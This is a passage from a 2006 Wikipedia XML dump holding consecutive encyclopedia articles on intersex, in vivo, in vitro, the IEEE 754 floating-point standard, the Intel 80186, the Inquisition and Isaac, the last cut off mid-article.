The writer [[Anne Fausto-Sterling]] [[neologism|coined]] the words ''herm'' (for hermaphrodite), ''merm'' (for an intersex person that most closely resembles a male), and ''ferm'' (for an intersex person that most closely resembles a female), and proposed that these be recognized as sexes along with male and female. However, her use was &quot;tongue-in-cheek&quot;; she no longer advocates these terms even as a rhetorical device.

==See also==
* [[Hermaphrodite]]
* [[Intersex Society of North America]]
* [[Erik Schinegger]]

Conditions:
* [[Androgen insensitivity syndrome]]
* [[Adrenal hyperplasia]]
** [[Congenital adrenal hyperplasia]] 
** [[Late onset adrenal hyperplasia]]
* [[5 alpha reductase deficiency]] 	
* [[Gonadal dysgenesis]]
* [[Hypospadias]]	
* [[Klinefelter syndrome]]
* [[Ovotestis]]
* [[Progestin induced virilization]]
* [[Vaginal agenesis]]

== References ==
*Blackless, Melanie, Anthony Charuvastra, Amanda Derryck, Anne Fausto-Sterling, Karl Lauzanne, and Ellen Lee. 2000. [http://www3.interscience.wiley.com/cgi-bin/issuetoc?ID=69504032 How sexually dimorphic are we? Review and synthesis]. ''American Journal of Human Biology'' 12:151-166.
*Dreifus, Claudia. &quot;A Conversation with Anne Fausto-Sterling&quot; ''The New York Times''.   [[2 January]] [[2001]]   (p. F3).
*Heard, Alex. &quot;Out There: Everything But the Truth&quot; ''The Washington Post Magazine''.   [[4 September]] [[1988]]   (p. W9).
*Musto, Michael. &quot;La Dolce Musto&quot;. ''The Village Voice''.   [[22 September]] [[1998]]   (p. 12).
*Sax, Leonard. [http://articles.findarticles.com/p/articles/mi_m2372/is_3_39/ai_94130313 How common is intersex? A response to Anne Fausto-Sterling.] ''J Sex Research 39:174-9, 2002''
* (2004) [http://biology.plosjournals.org/perlserv/?request=get-document&amp;doi=10.1371/journal.pbio.0030030 The Evolution of Self-Fertile Hermaphroditism: The Fog Is Clearing.] PLoS Biol 3(1): e30.

== External links ==
*[http://www.isna.org/ Intersex Society of North America]
*[http://www.bodieslikeours.org/ Bodies Like Ours]
*[http://intersexinitiative.org/ Intersex Initiative]
*[http://www.msnbc.msn.com/id/6994580/ ''New guidelines for treating 'intersex' babies]'' ''Doctors urged not to operate on infants with unclear gender'' (Associated Press, Feb. 2005)
*[http://sfhrc.org/site/uploadedfiles/sfhumanrights/Committee_Meetings/Lesbian_Gay_Bisexual_Transgender/SFHRC%20Intersex%20Report.pdf A Human Rights Investigation into the medical &quot;normalization&quot; of intersex people]  - a report of a hearing of the San Francisco Human Rights Commission - [[PDF]] format

[[Category:Intersexuality|*]]

[[bg:Интерсексуалност]]
[[de:Intersexualität]]
[[fr:Intersexualité]]
[[he:אינטרסקס]]
[[nl:Interseksualiteit]]
[[ja:半陰陽]]
[[pl:Obojnactwo]]
[[ru:Интерсексуальность]]
[[simple:Intersex]]
[[zh:雌雄同體]]</text>
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  </page>
  <page>
    <title>In vivo</title>
    <id>15187</id>
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      <comment>robot  Adding: it</comment>
      <text xml:space="preserve">'''In vivo''' ([[Latin]] for ''(with)in the living''). ''In vivo'' is used to indicate the presence of a whole/living [[organism]], in distinction to a partial or dead organism, or a computer model.

For example, ''In vivo'' biological research differentiates whole organism research from ''[[in vitro]]'' research, which is performed on [[organ (anatomy)|organs]], [[Biological tissue|tissues]], [[Cell (biology)|cells]], cellular components, [[proteins]], or [[biomolecules]].  [[Clinical trials]] are a form of ''in vivo'' research, albeit on humans. ''In silico'' research refers to numerical simulation on a [[computer]] of, for example, a [[Protein-protein docking |reaction between two proteins]]. 

The ''in vivo''-''in vitro'' dichotomy is also frequently used in a medical context, ''e. g.'' ''in vivo''-''in vitro'' [[fertilization]]. 

==''In vivo'' Research==

''In vivo'' research is more suited to observe an  overall effect than ''in vitro'' research, which is better suited to deduce mechanisms of action.  ''In vitro'' research aims to describe and understand the effect of an experimental variable on a subset of an organism's components.  ''In vitro'' research has the advantage over ''in vivo'' research that there are fewer variables which can confound an experiment, and that if an experimental effect is subtle the result will be more clearly visible.

''In vivo'' research has the advantage, over ''in vitro'' research, that the experimental system is a more complex biological system.  This means that ''in vivo'' research will likely give a better indication of what will happen in a [[population]] when a [[Chemical compound|compound]] is administered to or a procedure is performed on an [[animal model]] of disease.  This is why all new drugs must first undergo animal testing, followed by clinical trials, before they are released to the general population.  

Christopher [[Lipinski's_Rule_of_Five|Lipinski]]'s rationale for this observation is:
&lt;blockquote&gt;
''Whether the aim is to discover drugs or to gain knowledge of biological systems, the nature and properties of a chemical tool cannot be considered independently of the system it is to be tested in. Compounds that bind to isolated recombinant proteins are one thing; chemical tools that can perturb cell function another; and pharmacological agents that can be tolerated by a live organism and perturb its systems are yet another. If it were simple to ascertain the properties required to develop a lead discovered in vitro to one that is active in vivo, drug discovery would be as reliable as drug manufacturing.''  (Lipinski 2004)
&lt;/blockquote&gt;

The massive adoption of low-cost, ''in vitro'', [[molecular biology]] techniques has caused a move away from ''in vivo'' research, which is considered too idiosyncratic and, above all, expensive compared to its molecular counterpart.  Currently, ''in vitro'' models and experiments are a vital and highly productive research tool.  

The [[guinea pig]] was previously such a commonly used ''in vivo'' experimental model that they became part of idiomatic English: 'being a guinea-pig for someone/something'.  Their use in research has been substantially replaced by the smaller, cheaper and faster breeding [[rat]]s and mice.

As the term is in Latin, it is written in italics.

''See also'': ''[[ex vivo]]'', ''[[in utero]]'', ''[[in situ]]'', ''[[in vitro]]'', ''[[in silico]]''.

==References==
Lipinski, C. &amp; Hopkins, A.  Navigating chemical space for biology and medicine.  ''Nature''.  2004.  432: 855-861.

[[Category:Latin biological phrases]]

[[ca:In vivo]]
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      <minor />
      <text xml:space="preserve">{{wiktionary}}

'''''In vitro''''' ([[Latin]]: &quot;within glass&quot;) is an experimental technique where the experiment is performed in a [[test tube]], or generally outside a living [[organism]] or [[cell (biology)|cell]].  An example is [[in vitro fertilization]].  Alternatives of ''in vitro'' include ''[[in vivo]]'' and ''[[in silico]]'': within an organism, and computational, respectively.  Many experiments that deal with [[molecular biology]] are conducted outside organisms or cells, where the conditions and therefore results may not represent those inside the cell.  This is why results are often annotated with ''in vivo'', ''in vitro'', or ''in silico'', as applies.

==See also==
* [[ex vivo]]
* [[in vitro diagnostics]]
* [[in vitro fertilisation]]
* [[in vitro meat]]
* [[in vitro organ]]
* [[in vitro toxicology]]
* [[in vivo]]
* [[in silico]]
* [[in situ]]
* [[in utero]]
[[Category:Latin biological phrases]]

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  <page>
    <title>IEEE floating-point standard</title>
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      <text xml:space="preserve">The '''[[IEEE]] Standard for Binary Floating-Point Arithmetic''' ('''IEEE 754''') is the most widely-used standard for [[floating point|floating-point]] computation, and is followed by many [[Central processing unit|CPU]] and [[FPU]] implementations.  The standard defines formats for representing floating-point numbers (including ±[[0 (number)|zero]] and [[subnormal|denormal]]s) and special values ([[infinity|infinities]] and [[NaN]]s) together with a set of ''floating-point operations'' that operate on these values.  It also specifies four rounding modes and five exceptions (including when the exceptions occur, and what happens when they do occur). 

IEEE 754 specifies four formats for representing floating-point values: single-precision (32-bit), double-precision (64-bit), single-extended precision (&amp;ge; 43-bit, not commonly used) and double-extended precision (&amp;ge; 79-bit, usually implemented with 80 bits). Only 32-bit values are required by the standard; the others are optional.  Many languages specify that  IEEE formats and arithmetic be implemented, although sometimes it is optional.  For example, the [[C programming language]], which pre-dated IEEE 754, now allows but does not require IEEE arithmetic (the C &lt;tt&gt;float&lt;/tt&gt; typically is used for IEEE single-precision and &lt;tt&gt;double&lt;/tt&gt; uses IEEE double-precision).

The full title of the standard is '''IEEE Standard for Binary Floating-Point Arithmetic (ANSI/IEEE Std 754-1985)''', and it is also known as '''IEC 60559:1989, Binary floating-point arithmetic for microprocessor systems''' (originally the reference number was IEC 559:1989).[http://www.opengroup.org/onlinepubs/009695399/frontmatter/refdocs.html]

== Anatomy of a floating-point number ==
Following is a description of the standard's format for floating-point numbers.

=== Bit conventions used in this article ===
[[Bit]]s within a [[word (computer science)|word]] of width W are indexed by [[integer]]s in the range 0 to W&amp;minus;1 inclusive.  The bit with index 0 is drawn on the right. The lowest indexed bit is usually the least significant.

=== Single-precision 32 bit ===
A [[single precision|single-precision]] binary floating-point number is stored in a 32 bit word:

&lt;pre&gt;
  1     8               23              width in bits
 +-+--------+-----------------------+
 |S|  Exp   |  Fraction             |
 +-+--------+-----------------------+
 31 30    23 22                    0    bit index (0 on right)
    bias +127
&lt;/pre&gt;

Where &lt;tt&gt;S&lt;/tt&gt; is the sign bit and &lt;tt&gt;Exp&lt;/tt&gt; is the Exponent field.

The exponent is [[bias (electrical engineering)|bias]]ed in the engineering sense of the word &amp;ndash; the value stored is offset (by 127 in this case) from the actual value.  Biasing is done because exponents have to be [[Negative and non-negative numbers#Computing|signed values]] in order to be able to represent both tiny and huge values, but [[two's complement]], the usual representation for signed values, would make [[IEEE floating-point standard#Comparing floating point numbers|comparison]] harder.  To solve this the exponent is biased before being stored, by adjusting its value to put it within an unsigned range suitable for comparison.  So, for a single-precision number, an exponent in the range &amp;minus;126 to +127 is biased by adding 127 to get a value in the range 1 to 254 (0 and 255 have special meanings described below).  When interpreting the floating-point number the bias is subtracted to retrieve the actual exponent.

The set of possible data values can be divided into the following
classes:

* zeroes
* normalised numbers
* denormalised numbers
* infinities
* NaN (Not a Number)

(NaNs are used to represent undefined or invalid results, such as the square root of a negative number.)

The classes are primarily distinguished by the value of the Exp field, modified by the fraction.
Consider the Exp and Fraction fields as unsigned binary integers (Exp will be in the range 0&amp;ndash;255):

&lt;pre&gt;
Class                  Exp     Fraction

Zeroes                 0       0
Denormalised numbers   0       non zero
Normalised numbers     1-254   any
Infinities             255     0
NaN (Not a Number)     255     non zero
&lt;/pre&gt;

For normalised numbers, the most common, Exp is the biased exponent and
Fraction is the fractional part of the [[significand]].  The number has value v:

v = s &amp;times; 2&lt;sup&gt;e&lt;/sup&gt; &amp;times; m

Where

s = +1 (positive numbers) when S is 0

s = &amp;minus;1 (negative numbers) when S is 1

e = Exp &amp;minus; 127 (in other words the exponent is stored with 127 added to it, also called &quot;biased with 127&quot;)

m = 1.Fraction in binary (that is, the significand is the binary number 1 followed by the radix point followed by the binary bits of Fraction).  Therefore, 1 &amp;le; m &lt; 2.

Note:
#Denormalised numbers are the same except that e = &amp;minus;126 and m is 0.Fraction. (e is NOT -127 : The significand has to be shifted to the right by one more bit, in order to include the leading bit, which is not always 1 in this case. This is balanced by incrementing the exponent to -126 for the calculation.)
#&amp;minus;126 is the smallest exponent for a normalised number
#There are two Zeroes, +0 (S is 0) and &amp;minus;0 (S is 1)
#There are two Infinities +&amp;infin; (S is 0) and &amp;minus;&amp;infin; (S is 1)
#NaNs may have a sign and a significand, but these have no meaning other than for diagnostics; the first bit of the significand is often used to distinguish ''signaling NaNs'' from ''quiet NaNs''
#NaNs and Infinities have all 1s in the Exp field.

=== An example ===
Let us encode the decimal number &amp;minus;118.625 using the IEEE 754 system.

We need to get the sign, the exponent and the fraction.

Because it is a negative number, the sign is &quot;1&quot;. Let's find the others.

First, we write the number (without the sign) using binary notation. Look at [[binary numeral system]] to see how to do it. The result is 1110110.101. 

Now, let's move the radix point left, leaving only a 1 at its left: 1110110.101 = 1.110110101 &amp;times; 2&lt;sup&gt;6&lt;/sup&gt;.
This is a normalised floating point number.

The fraction is the part at the right of the radix point, filled with 0 on the right until we get all 23 bits. That is 11011010100000000000000.

The exponent is 6, but we need to convert it to binary and bias it (so the most negative exponent is 0, and all exponents are non-negative binary numbers).  For the 32-bit IEEE 754 format, the bias is 127 and so 6 + 127 = 133. In binary, this is written as 10000101.

Putting them all together:

&lt;pre&gt;
  1     8               23              width in bits
 +-+--------+-----------------------+
 |S|  Exp   |  Fraction             |
 |1|10000101|11011010100000000000000|
 +-+--------+-----------------------+
 31 30    23 22                    0    bit index (0 on right)
   the bias 
   is +127
&lt;/pre&gt;

=== Double-precision 64 bit ===
[[Double precision|Double-precision]] is essentially the same except that the fields are wider:

&lt;pre&gt;
  1     11                                52
 +-+-----------+----------------------------------------------------+
 |S|  Exp      |  Fraction                                          |
 +-+-----------+----------------------------------------------------+
 63 62       52 51                                                 0
    the bias
    is +1023
&lt;/pre&gt;

NaNs and Infinities are represented with Exp being all 1s (2047).

For Normalised numbers the exponent bias is +1023 (so e is Exp &amp;minus; 1023).
For Denormalised numbers the exponent is &amp;minus;1022 (the minimum exponent for a normalised number&amp;mdash;it is not &amp;minus;1023 because normalised numbers have a leading 1 digit before the binary point and denormalised numbers do not).  As before, both infinity and zero are signed.

=== Comparing floating-point numbers ===
Comparing floating-point numbers is usually best done using floating-point instructions.   However, this representation makes comparisons of some subsets of numbers possible on a byte-by-byte basis, if they share the same byte order and the same sign, and NaNs are excluded.

For example, for two positive numbers a and b, then a &lt; b is true whenever the unsigned binary integers with the same bit patterns and same byte order as a and b are also ordered a &lt; b.  In other words, two positive floating-point numbers (known not to be NaNs) can be compared with an unsigned binary integer comparison using the same bits, providing the floating-point numbers use the same byte order (this ordering, therefore, cannot be used in portable code through a union in the [[C programming language]]).
This is an example of [[lexicographic ordering]].

=== Rounding floating-point numbers ===

The IEEE standard has four different rounding modes.

* '''Unbiased''' which rounds to the nearest value, if the number falls midway it is rounded to the nearest value with an even (zero) least significant bit. This mode is required to be default.
* '''Towards zero''' 
* '''Towards positive infinity'''
* '''Towards negative infinity'''

==References==
*[http://www.opencores.org/projects.cgi/web/fpu100/fpu_v2.pdf Floating Point Unit] by Jidan Al-Eryani

== Revision of the standard ==
Note that the IEEE 754 standard is currently (2004) under revision. See: [[IEEE 754r]]
== See also ==
*[[-0]] (negative zero)

== External links ==
*[http://babbage.cs.qc.edu/courses/cs341/IEEE-754references.html IEEE 754 references]
*[http://www.d6.com/users/checker/pdfs/gdmfp.pdf Let's Get To The (Floating) Point by Chris Hecker]
*[http://docs.sun.com/source/806-3568/ncg_goldberg.html What Every Computer Scientist Should Know About Floating-Point Arithmetic by David Goldberg] - a good introduction and explanation.
* [http://www2.hursley.ibm.com/decimal/854mins.html IEEE 854-1987] History and minutes
* [http://dfp.sourceforge.net/ieee.html Differences between IEEE 854 and 754]
*[http://www.h-schmidt.net/FloatApplet/IEEE754.html Converter]
*[http://babbage.cs.qc.edu/courses/cs341/IEEE-754.html Another Converter]


[[Category:Computer arithmetic]]
[[Category:IEEE standards]]

[[de:IEEE 754]]
[[es:IEEE punto flotante]]
[[fr:IEEE 754]]
[[ko:IEEE 754]]
[[it:IEEE 754]]
[[ja:IEEE754]]
[[pl:IEEE 754]]</text>
    </revision>
  </page>
  <page>
    <title>Intel 80186</title>
    <id>15190</id>
    <revision>
      <id>40606934</id>
      <timestamp>2006-02-21T20:06:21Z</timestamp>
      <contributor>
        <ip>84.156.93.114</ip>
      </contributor>
      <text xml:space="preserve">[[Image: Intel 80186.jpg|thumb|right|200px|An Intel 80186 Microprocessor]]
[[Image:80186_arch.png|300px|thumb|The 80186 architecture.]]
The '''80186''' is a [[microprocessor]] that was developed by [[Intel]] circa [[1982]]. The 80186 was an improvement on the [[Intel 8086]] and [[Intel 8088]]. As with the 8086, it had a [[16-bit]] external bus and was also available as the [[Intel 80188]], with an [[8-bit]] external [[data bus]]. The initial clock rate of the 80186 and 80188 was 6 [[Megahertz|MHz]]. They were generally used as [[embedded processor]]s (roughly comparable to [[microcontroller]]s). They were not used in many [[personal computer|personal computers]], but there were some notable exceptions: the [[Mindset computer|Mindset]], the [[Siemens PC-D]] (the first DOS PC line of Siemens, with MSDOS v2.11), the [[Compis]] (a [[Sweden|Swedish]] school computer), the [[Research Machines|RM Nimbus]] (a British school computer), the [[Unisys ICON]] (a Canadian school computer), the HP 200lx, and the [[Tandy 2000]] desktop (a somewhat PC-compatible workstation featuring particularly sharp graphics for its day). Acorn (another British computer manufacturer) also created a plugin Second Processor that contained the 80186 chip along with assorted support chips and 512k of RAM - hence the Master 512 system.

One major function of the 80186/80188 series was to reduce the number of chips required by including features such as a [[Direct memory access|DMA]] controller, interrupt controller, timers, and [[chip select]] logic.
 
New instructions were introduced as follows: 

 ENTER  Make stack frame for procedure parameters
 LEAVE	High-level procedure exit
 PUSHA	Push all general registers
 POPA	Pop all general registers
 BOUND	Check array index against bounds
 IMUL	Signed (integer) multiply
 INS	Input from port to string
 OUTS	Output string to port

==External links==
* [http://www.cpu-collection.de/?tn=1&amp;l0=cl&amp;l1=80186/188 Intel 80186/80188 images and descriptions at cpu-collection.de]

{{Intel processors}}
{{Intel controllers}}


{{FOLDOC}}

[[Category:x86 microprocessors|Intel 186]]

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    </revision>
  </page>
  <page>
    <title>Inquisition</title>
    <id>15191</id>
    <revision>
      <id>42075036</id>
      <timestamp>2006-03-03T17:28:00Z</timestamp>
      <contributor>
        <username>Delta x</username>
        <id>974625</id>
      </contributor>
      <comment>/* See also */ lk to vatican secret archives</comment>
      <text xml:space="preserve">:''This article deals with Catholic history between 1134 and 1834. For other uses see [[Inquisition (disambiguation)]]''.
[[Image:inquisition2.jpg|right|thumb|250px|Artistic representation of an [[Auto de fe]], during the [[Spanish Inquisition]] ([[1475]]).]]
The term '''Inquisition''' ([[Latin]]: ''Inquisitio Haereticae Pravitatis Sanctum Officium'') refers broadly to a number of historical movements surrounding the suppression of [[heresy]] by the [[Catholic Church|Roman Catholic Church]]. There were four major movements, starting with the [[Medieval Inquisition]] in [[1184]] and ending with the [[Spanish Inquisition]] in [[1834]].

==Origin==
The Inquisition was an institution within the Roman Catholic Church, charged with the eradication of heresy, sometimes by violent means.

Heresies (from Greek ''haeresis'', sect, school of belief) were  a problem to the Church and the Faith. Biblical lore [[Acts of the Apostles|Acts]] 15 recounts the convening of a [[Jerusalem Council|council in Jerusalem]] to deal with the heresy of the [[Judaizers]], who had contended with the Jerusalem faction in [[Asia Minor|Asia]] and especially [[Galatia]].  In the subsequent centuries there were the [[Arianism|Arians]] and [[Manichaeism|Manicheans]]; in the [[Middle Ages]] there were the [[Cathars|Cathari]] and [[Waldensians|Waldenses]]; and in the [[Renaissance]] there were the [[Hussite|Hussites]], [[Lutheran Church|Lutherans]], [[Calvinism|Calvinists]], and [[Rosicrucian|Rosicrucians]]. Efforts to suppress heresies were initially ''[[ad hoc]]'', but in the [[Middle Ages]] a permanent structure came into being to combat heresies. The Church deemed it according to the public good to remove these heretics from the public, or at least to correct them, as the Church held that the eternal good of one's soul depends on it's adherence to the teachings of the Magisterium of the Church. Although it was originally the state who began the reprimanding of heretics, it eventually fell in the hands of the Church in the late middle ages.

==History==
There were four Inquisitions; in chronological order, they were the [[Medieval Inquisition]], the [[Spanish Inquisition]], the [[Portuguese Inquisition]] and the [[Congregation for the Doctrine of the Faith|Roman Inquisition]]. One would however be incorrect to presume that these were totally unrelated to each other and that the inquisition was limited to these discrete events.

===Medieval Inquisition===
:''Main article: [[Medieval Inquisition]]''

The first of the Medieval Inquisitions is called the '''Episcopal Inquisition''' and was established in the year [[1184]] by a [[papal bull]], an official letter from the Pope, entitled ''Ad abolendam''; &quot;For the purpose of doing away with&quot;. The Inquisition was in response to the growing [[Cathars|Catharist]] heresy in southern [[France]]. It is called the &quot;episcopal&quot; because it was administered by local [[bishop]]s, which in Greek is ''episcopos''. The Episcopal Inquisition was not very effective for many reasons (see [[Medieval Inquisition]]).

The '''Papal Inquisition''' in the [[1230s]] was in response to the failures of the Episcopal Inquisition and was staffed by professionals, trained specifically for the job as decreed by the Pope. Individuals were chosen from different orders and secular clergy, but primarily they came from the [[Dominican Order]] who had a number of traits that made them suitable (see [[Medieval Inquisition]]).

===Spanish Inquisition===
:''Main article: [[Spanish Inquisition]]''

The Spanish Inquisition was founded in [[1478]] in Spain under [[Ferdinand II of Aragon|Ferdinand]] and [[Isabella of Castile]].  It was to a large extent under the control of the Spanish monarch, with only the Inquisitor General appointed by Rome.  In its dealings with converted Muslims and Jews and also [[illuminist]]s, the Spanish Inquisition, with its &quot;[[auto de fe]]&quot;, represents a particularly notorious period in the history of the Inquisition.  This inquisition also gave rise to the [[Peruvian Inquisition]] during the [[Viceroyalty of Peru]] which ended with its Independence on [[July]] [[28]], and also the [[Mexican Inquisition]], which continued in the Americas until Mexican Independence.

It was abolished in [[1834]].

===Roman Inquisition===
:''Main article: [[Roman Inquisition]]''

[[Pope Paul III]] established, in [[1542]], a permanent congregation staffed with [[Cardinal (Catholicism)|cardinals]] and other officials, whose task it was to maintain and defend the integrity of the faith and to examine and proscribe errors and false doctrines. This body, the Congregation of the Holy Office, now called the [[Congregation for the Doctrine of the Faith]], part of the [[Roman Curia]], became the supervisory body of local Inquisitions. The Pope appoints one of the cardinals to preside over the meetings. There are usually ten other cardinals on the Congregation, as well as a [[prelate]] and two assistants all chosen from the [[Dominican Order]]. The Holy Office also has an international group of consultants, experienced scholars of theology and canon law, who advise it on specific questions. In [[1616]] these consultants gave their assessment of the propositions that the Sun is immobile and at the center of the universe and that the Earth moves around it, judging both to be &quot;foolish and absurd in philosophy,&quot; and the first to be &quot;formally heretical&quot; and the second &quot;at least erroneous in faith&quot; in theology. This assessment led to [[Copernicus]]'s ''[[De Revolutionibus Orbium Coelestium]]'' to be placed on the [[Index Librorum Prohibitorum|Index of Forbidden Books]], until revised and [[Galileo Galilei]] to be admonished about his Copernicanism. It was this same body in [[1633]] that tried Galileo, condemned him for a &quot;grave suspicion of heresy&quot;, and banned all his works.

Not all prosecutions of alleged heretics, atheists and other deviations from the Catholic faith were prosecuted by the Inquisition. In some countries, such as [[France]] under the ''[[ancien régime]]'', atheists and [[blasphemy|blasphemers]] could be prosecuted by civilian courts, with the possible penalty of [[death]].

===Portuguese Inquisition===
:''Main article: [[Portuguese Inquisition]]''

The Portuguese Inquisition was established in [[Portugal]] in [[1536]] by the [[King of Portugal]], [[Joao III]], as a Portuguese analogue of the more famous Spanish Inquisition

==Other uses of the word &quot;Inquisitions&quot;==
Even though the last Inquisition (The Spanish Inquisition) ended in [[1834]] almost 200 years ago, the word &quot;Inquisition&quot; remains a part of modern vocabulary; even those with no interest in European history associate it with negative meanings.[http://www.nationalreview.com/comment/madden200406181026.asp] Because of the negative images associated with the Inquisition, the term has taken on a pejorative usage, and is often used to express disapproval, and is often used in a non-neutral manner, and not as a neutral historical descriptor. 

*Some Christian fundamentalist authors like [[Jack Chick]] and [[Alberto Rivera]], along with other like-minded authors, believe the [[Nazi]] [[the Holocaust|Holocaust]] was an Inquisition against the Jews undertaken by [[Hitler]], a Catholic, at the behest of the Pope. 

*In modern American politics, [[United States Senate]] investigations are often called &quot;Inquisitions&quot; as a means of expressing disapproval of the investigators. For example some people call the Second [[Red Scare]] an inquisition.

*[[Robert Anton Wilson]]'s book ''The New Inquisition'' (ISBN 1561840025) is critical of the application of the [[Scientific Method]] in the 20th century.

*[[Emperor Qian Long]]'s literary inquisition in [[Qing dynasty]] China.

==Derivative works==
The Inquisitions have been the subject of many cultural works. Some include:
*[[The Spanish Inquisition (Monty Python)|The Spanish Inquisition]] was the subject of a classic [[Monty Python]] sketch (&quot;''Nobody'' expects the Spanish Inquisition!&quot;).
*The short story by [[Edgar Allan Poe]], ''[[The Pit and the Pendulum]]'' was set during the Spanish Inquisition.
*A body known as the [[Inquisition (Warhammer 40,000)|Inquisition]] exists in the fictional [[Warhammer 40,000]] universe.
*[[Mel Brooks]]'s [[1981]] film [[The History of the World, Part I]] contains a musical number about the Spanish Inquisition.
*In [[Terry Pratchett]]'s ''[[Small Gods]]'', the Omnian church has both an Inquisition and an ''Ex''quisition.
*In [[J.K. Rowling]]'s [[2003]] book ''[[Harry Potter and the Order of the Phoenix]]'', [[Professor]] [[Dolores Umbridge]] sets up an Inquisition at [[Hogwarts School of Witchcraft and Wizardry]], with herself as the High Inquisitor.

==See also==
* [[Witchhunt]]
* [[Konrad von Marburg]]
* [[Malleus Maleficarum]]
* [[Inquisitorial system]]
* [[Grand Inquisitor|List of Grand Inquisitors of Spain]]
* [[Historical revisionism (political)]]
* [[Histoire de l'Inquisition en France]]
* [[Michael Servetus]]
* [[Vatican Secret Archives]]

==External links==
* [http://www.bede.org.uk/inquisition.htm Frequently Asked Questions About the Inquisition] by James Hannam
* [http://www.rbookshop.com/religion/i/Inquisition/index.html Books on the Inquisition]
*[http://www.newadvent.org/cathen/08026a.htm Catholic Encyclopedia: Inquisition] 
*[http://ic.net/~erasmus/RAZ247.HTM The Protestant Inquisition:&quot;Reformation&quot; Intolerance and Persecution] by [[Dave Armstrong]]

==References==
* Edward M. Peters, ''Inquisition.'' (University of California Press, 1989).  ISBN 0520066308    
** A brief, balanced inquiry, with an especially good section on the 'Myth of the Inquisition' (see [[The Inquisition Myth]]).  This is particularly valuable because much of the history available in English of the Inquisition was written in the 19th century by Protestants interested in documenting the dangers of [[Catholicism]] or Catholic apologists demonstrating that the Inquisition had been an entirely reasonable judicial body without flaws.
* Henry Kamen, ''The Spanish Inquisition: A Historical Revision.'' (Yale University Press, 1999). ISBN 0300078803    
** This revised edition of his 1965 original contributes to the understanding of the Spanish Inquisition in its local context.
* Cecil &amp; Irene Roth, ''A history of the Marranos'', Sepher-Hermon Press, 1974.
* Simon Whitechapel, ''Flesh Inferno: Atrocities of Torquemada and the Spanish Inquisition'' (Creation Books, 2003). ISBN 1840681055
* William Thomas Walsh, ''Characters of the Inquisition'' (TAN Books, 1997). ISBN 0895553260
** Favorable treatment of inquisitors.


[[Category:Inquisition|*]]

[[af:Inkwisisie]]
[[ca:Inquisició]]
[[cs:Inkvizice]]
[[da:Inkvisition]]
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[[es:Inquisición]]
[[eo:Inkvizicio]]
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[[he:אינקוויזיציה]]
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[[ru:Святая инквизиция]]
[[sk:Inkvizícia]]
[[sl:Inkvizicija]]
[[sr:Инквизиција]]
[[fi:Inkvisitio]]
[[sv:Inkvisition]]
[[tr:Engizisyon]]
[[uk:Інквізиція]]
[[zh:異端裁判所]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac</title>
    <id>15192</id>
    <revision>
      <id>42046361</id>
      <timestamp>2006-03-03T12:42:19Z</timestamp>
      <contributor>
        <username>Enkyklios</username>
        <id>541615</id>
      </contributor>
      <text xml:space="preserve">{{dablink|For other uses, see [[Isaac (disambiguation)]]. For the Muslim view of Isaac, see [[Ishaq]].}}
[[Image:Icelandic Isaac sacrifice.jpg|right|thumb|250px|An [[angel]] prevents [[Abraham]] from sacrificing Isaac in this illumation from a [[14th century]] [[Iceland]]ic manuscript.]]

'''Isaac''' ('''Yitschak''' or '''Yitzhak''') ('''יִצְחָק''' &quot;He will laugh&quot;, [[Standard Hebrew]] '''{{IPA|Yiẓḥaq}}''', [[Tiberian Hebrew]] '''{{IPA|Yiṣḥāq}}'''; [[Arabic language|Arabic]] '''اسحاق''' '''{{IPA|ʾIsḥāq}}''') is the son and heir of [[Abraham]] and the father of [[Jacob]] and [[Esau]] as described in the [[Hebrew Bible]]. His story is told in the [[Book of Genesis]]. 

==Name==
Isaac was named because when his mother, [[Sarah]], overheard that she would bear a child in her old age, she laughed (Genesis 18:10-15, 21:6-7). Some commentators believe that in the [[Book of Amos]] there is some suggestion that ''[[Israel (disambiguation)|Israel]]'' may actually be another name for Isaac (''Amos'' 7:9, 16) despite the Bible stating that ''Israel'' is the later name given to Isaac's son [[Jacob]] (''Genesis'' 32:22-28, especially 28).

==Life==
[[Image:Rembrandt Harmensz. van Rijn 035.jpg|thumb|left|The angel hinders the offering up of Isaac, by Rembrandt]]
Isaac was born to Abraham by his wife Sarah, and the only child they had together. He was the longest lived of the three [[Patriarchs (Bible)|patriarchs]] (Genesis 21:1-3). Isaac was [[Brit milah|circumcised]] by his father when eight days old (Genesis 4-7); and a great feast was held in connection with his being weaned.

The next memorable event in his life is that connected with the story of God testing Abraham by asking him to offer Isaac as a [[Binding of Isaac | sacrifice]] on a mountain in the land of [[Moriah]] (Genesis 22). 

When he was forty years of age [[Rebekah]] was chosen for his wife (Genesis 24). After the death and burial of his father, he took up his residence at [[Beer-lahai-roi]] (Genesis 25:7-11), where his twin sons, [[Esau]] and [[Jacob]], were born (Genesis 21-26), the former of whom seems to have been his favorite son (Genesis 27, 28).

Due to a famine (Genesis 26:1) Isaac went to [[Gerar]]. In order to avoid being killed, he lied about his relationship to Rebekah, and [[a wife confused for a sister|his wife was believed to be his sister]] much like Abraham's sojourn in [[Egypt]] (12:12-20) and also his sojourn in Gerar (20:2). The [[Philistine]] king rebuked Isaac for his dishonesty when he discovered him ''sporting'' with Rebekah. After staying for some time in the land of the Philistines, he returned to [[Beersheba]], where [[God]] gave him fresh assurance of the [[covenant]] blessing, and where [[a wife confused for a sister|the Philistine king entered into a covenant of peace with him]].

The next chief event in his life was the blessing of his sons (Genesis 27:1). He died at [[Mamre]], &quot;being old and full of days&quot; (Genesis 35:27-29), 180 years old, and was buried in the [[Cave of Machpelah]].

Isaac is &quot;at once a counterpart of his father in simple devoutness and purity of life, and a contrast in his passive weakness of character, which in part, at least, may have sprung from his relations to his mother and wife. After the expulsion of Ishmael and [[Hagar]], Isaac had no competitor, and grew up in the shade of Sarah's tent, moulded into feminine softness by habitual submission to her strong, loving will.&quot; His life was so quiet and uneventful that it was spent &quot;within the circle of a few miles; so guileless that he let Jacob overreach him rather than disbelieve his assurance; so tender that his mother's death was the poignant sorrow of years; so patient and gentle that peace with his neighbours was dearer than even such a coveted possession as a well of living water dug by his own men; so grandly obedient that he put his life at his father's disposal; so firm in his reliance on God that his greatest concern through life was to honour the divine promise given to his race&quot;, Geikie's ''Hours'', etc.

==Christianity==

In the [[New Testament]], reference is made to his having been &quot;offered up&quot; by his father (Heb. 11:17; James 2:21), and to his blessing his sons (Heb. 11:20). As the child of promise, he is contrasted with [[Ishmael]] (Rom. 9:7, 10; Gal. 4:28; Heb. 11:18).

==Islam==

In Islam, he is called [[Ishaq]], and stories about him are found in the [[Qur'an]].

